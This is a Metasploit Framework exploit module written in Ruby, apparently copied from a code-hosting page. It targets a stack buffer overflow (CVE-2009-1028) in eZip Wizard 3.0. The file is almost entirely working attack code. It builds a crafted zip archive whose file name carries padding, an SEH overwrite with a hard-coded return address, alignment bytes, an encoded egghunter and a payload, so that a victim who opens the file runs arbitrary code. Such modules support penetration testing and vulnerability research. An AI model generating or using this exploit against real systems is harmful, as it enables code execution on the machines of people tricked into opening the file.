115 lines
3.1 KiB
Ruby
115 lines
3.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Seh
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability in
|
|
version 3.0 of ediSys Corp.'s eZip Wizard.
|
|
|
|
In order for the command to be executed, an attacker must convince someone to
|
|
open a specially crafted zip file with eZip Wizard, and access the specially
|
|
file via double-clicking it. By doing so, an attacker can execute arbitrary
|
|
code as the victim user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'fl0 fl0w', #Initial discovery, poc
|
|
'jduck', #Metasploit
|
|
'Lincoln', #Complete Metasploit port
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1028' ],
|
|
[ 'OSVDB', '52815' ],
|
|
[ 'BID', '34044' ],
|
|
[ 'URL', 'http://www.edisys.com/' ],
|
|
[ 'EDB', '8180' ],
|
|
[ 'EDB', '12059' ],
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Payload' =>
|
|
{
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
|
|
],
|
|
'DisclosureDate' => 'Mar 09 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
|
|
OptString.new('USERNAME', [ true, 'Username', ''])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
#These badchars do not apply to the final payload
|
|
badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"
|
|
|
|
eggoptions =
|
|
{
|
|
:checksum => true,
|
|
:eggtag => 'w00t'
|
|
}
|
|
|
|
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
|
|
|
|
[ 'x86/alpha_mixed'].each { |name|
|
|
enc = framework.encoders.create(name)
|
|
if name =~/alpha/
|
|
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
|
|
end
|
|
hunter = enc.encode(hunter, nil, nil, platform)
|
|
}
|
|
|
|
#Username length affects our offset to hit SEH correctly
|
|
if datastore['USERNAME'].length >= 9
|
|
padding = rand_text_alpha(target['Offset'] - 8)
|
|
else
|
|
padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
|
|
end
|
|
|
|
fname = padding
|
|
fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp
|
|
fname << [target.ret].pack('V') #seh
|
|
fname << "\x61" * 29 #align for hunter
|
|
fname << "\x58\x58\x41" #align for hunter
|
|
fname << hunter
|
|
fname << egg
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
xtra = [0xdac0ffee].pack('V')
|
|
comment = [0xbadc0ded].pack('V')
|
|
zip.add_file(fname, xtra, comment)
|
|
|
|
# Create the file
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
|
|
file_create(zip.pack)
|
|
end
|
|
|
|
end
|